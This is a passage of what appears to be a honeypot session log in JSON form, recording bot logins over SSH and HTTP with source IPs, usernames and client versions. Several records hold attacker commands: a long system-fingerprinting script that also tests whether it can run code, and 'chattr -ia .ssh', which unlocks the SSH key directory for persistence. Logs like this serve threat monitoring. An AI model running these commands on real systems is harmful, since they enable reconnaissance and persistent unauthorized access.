/proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:18:02.041401+00:00",
  "ended_at": "2026-08-27T05:18:02.201244+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "c1b85829-221e-438c-b29b-5130ef5bb391",
  "name": "brave-fabled-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 37004,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 307,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:17:34.629781+00:00",
  "ended_at": "2026-08-27T05:17:36.277194+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "87329ad8-7e4f-410e-9ea2-1456d75a884d",
  "name": "crystal-upland-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 52680,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:17:07.814190+00:00",
  "ended_at": "2026-08-27T05:17:09.209022+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "799b8816-7a40-4d8f-9a8f-4190aa1b8a0b",
  "name": "watchful-cunning-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37012,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:17:05.915136+00:00",
  "ended_at": "2026-08-27T05:17:07.203489+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0f686cdb-2153-45b8-a8a7-e8ca447dc85b",
  "name": "ashen-glassy-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 39282,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:16:07.765039+00:00",
  "ended_at": "2026-08-27T05:16:07.909888+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "42c210ed-e913-4c0c-97db-e37a7652d4ca",
  "name": "marine-deft-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 36426,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 322,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:15:29.696246+00:00",
  "ended_at": "2026-08-27T05:15:31.302382+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "0d522f30-4908-413c-ad71-4a2cfca16422",
  "name": "merry-ruddy-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 36448,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:15:11.365487+00:00",
  "ended_at": "2026-08-27T05:15:11.988123+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8fc2f900-48c7-4e94-a622-075331ee0e78",
  "name": "fearless-prairie-vicuna",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 51109,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:15:10.508525+00:00",
  "ended_at": "2026-08-27T05:15:13.289088+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0e1c16f5-b5db-497f-84ae-fad8d0cf959b",
  "name": "diligent-stoic-redstart",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 36442,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:15:09.667037+00:00",
  "ended_at": "2026-08-27T05:15:10.748008+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b0883ed5-fed1-4419-820d-3984f99a3bd0",
  "name": "electric-glassy-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 36400,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:14:13.971117+00:00",
  "ended_at": "2026-08-27T05:14:14.191245+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "ebbba6e9-486d-4d7b-b56e-70f766572656",
  "name": "vigilant-gleaming-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 33530,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 319,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:13:29.602717+00:00",
  "ended_at": "2026-08-27T05:13:31.749725+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2255
 },
 {
  "id": "9eaa651b-7117-4cab-b389-4d862220c759",
  "name": "breezy-quartz-petrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 33548,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:13:14.298170+00:00",
  "ended_at": "2026-08-27T05:13:15.384696+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c1fc3444-96e4-4e9f-a504-9b6190b5a979",
  "name": "weathered-ancient-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 33540,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:13:12.657486+00:00",
  "ended_at": "2026-08-27T05:13:13.632367+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "989f6f62-3e76-442c-aef1-a0a11b14fb50",
  "name": "burly-sturdy-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 33490,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T05:12:20.738292+00:00",
  "ended_at": "2026-08-27T05:12:20.989705+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "54797db9-35cd-4ca4-9cb6-71d62cdaf86f",
  "name": "airy-tangled-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 42096,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 332,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:11:33.479653+00:00",
  "ended_at": "2026-08-27T05:11:34.974885+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "5441bb01-2f0e-4eb1-82df-d04ac58ac68e",
  "name": "distant-wry-panther",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "43.153.86.78",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:11:20.698236+00:00",
  "ended_at": "2026-08-27T05:27:08.024800+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c44ddadf-ce45-4073-bf19-d557ce81aa4d",
  "name": "gloomy-wiry-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 46956,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:11:18.185574+00:00",
  "ended_at": "2026-08-27T05:11:20.144787+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a2e3b358-1c6d-429a-b707-87c8e7525523",
  "name": "genial-ginger-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 46952,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:11:16.796509+00:00",
  "ended_at": "2026-08-27T05:11:17.564819+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9e93daed-7cdd-410b-a43f-6e6717f955cf",
  "name": "noble-airy-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 58812,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
